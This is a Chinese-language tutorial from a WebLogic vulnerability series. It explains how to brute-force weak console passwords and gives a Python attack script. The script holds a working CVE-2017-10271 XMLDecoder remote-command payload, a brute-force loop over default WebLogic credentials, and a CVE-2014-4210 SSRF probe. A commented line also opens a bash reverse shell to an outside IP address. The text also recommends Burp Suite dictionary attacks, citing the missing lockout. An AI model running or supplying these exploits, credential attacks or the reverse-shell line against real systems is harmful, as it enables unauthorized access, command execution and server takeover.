weblogic系列漏洞整理 -———— 2、weblogic弱口令

weblogic常用的后台登录弱口令

 

 

WebLogic后台登陆地址: http://192.168.11.178:7001/console/login/LoginForm.jsp

测试思路

登陆weblogic后台看到后台地址登陆并无限制（验证码或登录认证次数），因此可以尝试写脚本进行爆破。

在登陆页面随便输入一个用户名密码，利用network查看提交情况

可以看到，点击提交按钮后，浏览器向http://192.168.11.178:7001/console/j_security_check地址POST提交了这个表单

j_username: web
j_password: logic
j_character_encoding: UTF-8

当提交错误时，重新返回登陆页面的地址，

正确时，则返回新的地址

根据这个思路即可以编写爆破脚本

 python爆破脚本

# !/usr/bin/env python           
# coding  : utf-8 
# Date    : 2018-04-03 19:08:00
# Author  : b4zinga
# Email   : b4zinga@outlook.com
# Function: weblogic vuln

import requests


class WebLogic:
    def __init__(self, url):
        if '://' not in url:
            url = 'http://' + url
        self.url = url.strip('/')

    def xmlDecoder(self):
        """Version:10.3.6.0.0/12.1.3.0.0/12.2.1.1.0
        CVE-2017-10271
        """
        headers = {
            "Content-Type":"text/xml;charset=UTF-8",
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }

        # <string>bash -i &gt;&amp; /dev/tcp/192.168.1.133/4444 0&gt;&amp;1</string>
        xml = """
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                <string>id > /tmp/b4</string>
                                </void>
                            </array>
                        <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
        <soapenv:Body/>
        </soapenv:Envelope>"""
        req = requests.post(self.url+":7001/wls-wsat/CoordinatorPortType", headers=headers, data=xml)
        if req.status_code == 500 :
            print('[+] WebLogic xml decoder ')
            # print(req.text)

    def weakPasswd(self):
        """weak password"""

        pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
        for user in pwddict:
            for pwd in pwddict:
                data = {
                    'j_username':user,
                    'j_password':pwd,
                    'j_character_encoding':'UTF-8'
                }
                req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

                if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                    print('[+] WebLogic username: '+user+'  password: '+pwd)

    def ssrf(self):
        """Version: 10.0.2/10.3.6
        CVE-2014-4210"""
        # payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001"
        payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"

        req = requests.get(self.url+payload, timeout=10, verify=False)
        if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
            print("[+] WebLogic ssrf")



if __name__ == '__main__':
    url = '192.168.136.130'
    wls = WebLogic(url)

    wls.xmlDecoder()
    wls.weakPasswd()
    wls.ssrf()

核心代码说明

python的requests模块在post或get提交数据时，如果返回信息中含302，则requests会默认跟随跳转，这里跳转之后不容易 判断，所以给requests添加allow_redirects=False参数，指定requests不跟随跳转。

burpsuite爆破

因为没有验证码以及登录的次数限制，所以可以使用burpsuite+强大的第三方密码字典进行爆破，当然如果知道用户名的话那么就更加简单了哦！